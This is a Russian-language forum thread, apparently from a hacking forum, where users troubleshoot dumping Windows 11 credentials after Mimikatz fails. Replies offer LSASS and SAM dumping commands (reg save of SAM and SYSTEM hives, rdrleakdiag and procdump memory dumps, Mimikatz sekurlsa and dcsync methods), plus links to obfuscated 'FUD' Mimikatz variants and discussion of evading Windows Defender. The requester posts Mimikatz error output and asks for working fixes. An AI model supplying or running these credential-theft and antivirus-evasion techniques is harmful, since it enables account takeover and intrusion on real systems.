Mimikatz vs win 11

[Marti71]

Всем привет! подскажите решение из коробки, как можно дампить учетки с win11, часто там заблокирован lsas.dump и мимикатз не работает

 

[xargs]

и мимикатз не работает

мимик в вин11 работает, есть обновленная версия 2022 но что-то не получилось нагуглить сейчас git с ней, поищите. Или мимик не работает по причине АВ?

reg save hklm\system system
reg save hklm\sam sam

https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bfhttps://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf

 

[Marti71]

мимик в вин11 работает, есть обновленная версия 2022 но что-то не получилось нагуглить сейчас git с ней, поищите. Или мимик не работает по причине АВ?

reg save hklm\system system
reg save hklm\sam sam

https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bfhttps://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf

А эти команды должны помочь? у меня ласт апдейт, но похоже lsas блочится

 

[Marti71]

Актуально

 

[Marti71]

Через диспетчер задач дампится?

Пробовал я хочу из коробки решение

 

[Guest]

Kaspersky Knowledge Base

Get technical support for Kaspersky applications for home & business. Find instructions, video manuals and tools to solve top issues.

support.kaspersky.com

 

[Marti71]

Kaspersky Knowledge Base

Get technical support for Kaspersky applications for home & business. Find instructions, video manuals and tools to solve top issues.

support.kaspersky.com

Спасибо смысл понял, затестю

 

[Marti71]

Актуально ищу еще способы

 

[Guest]

Актуально ищу еще способы

rdrleakdiag.exe /p 1234 /o c:\dmp /fullmemdmp /wait 1

 

[Kindzadza]

rdrleakdiag.exe /p 1234 /o c:\dmp /fullmemdmp /wait 1

Def на Win10 сразу же пресекает подобную попытку

 

[Marti71]

Есть у кого решение? в целом кто юзает мимик на системах, в 11 часто креды не дампятся и ошибка распространенная, фикса в гугле я так и не нашел или плохо искал)

 

[xxxx]

Есть у кого решение? в целом кто юзает мимик на системах, в 11 часто креды не дампятся и ошибка распространенная, фикса в гугле я так и не нашел или плохо искал)

50 Methods For Lsass Dump

Mimikatz Methods: Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync ProcDump Methods: procdump -ma lsass.exe lsass.dmp procdump -accepteula -64 -ma lsass.exe lsass.dmp Process Hacker Methods: System->LSASS process->Create Dump DumpIt Method...

redteamrecipe.com

64 Methods For Execute Mimikatz

go-mimikatz go build ./go-mimikatz https://github.com/vyrus001/go-mimikatz Rusty Mimikatz cargo build --release ./target/release/mimikatz-rs https://github.com/memN0ps/mimikatz-rs MimikatzFUD .\Invoke-M1m1fud2.ps1 https://github.com/HernanRodrigue...

redteamrecipe.com

 

[RedNode]

its works but not with mimikatz i have dumped my own lssas with Windows defender Enabled but i write the code myself

 

[Marti71]

mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations

mimikatz(commandline) # ts::logonpasswords
!!! Warning: false positives can be listed !!!


Кто-то фиксил это?

 

[Marti71]

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

mimikatz(commandline) # ts::logonpasswords
!!! Warning: false positives can be listed !!!


Такая же ошибка win11 DEFENDER, как можно фиксить? по любому решение какое то поверхностное не могу разгадать

 

[Marti71]

mimikatz(commandline) # lsadump::sam full
Domain : JBARPC
SysKey : 1b1b478f560db2f2dfb6da60892d985f
ERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO
ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

mimikatz(commandline) # exit
Bye!

Новые ошибки если кто-то знает фикс или аналоги мимика которые могли бы дампить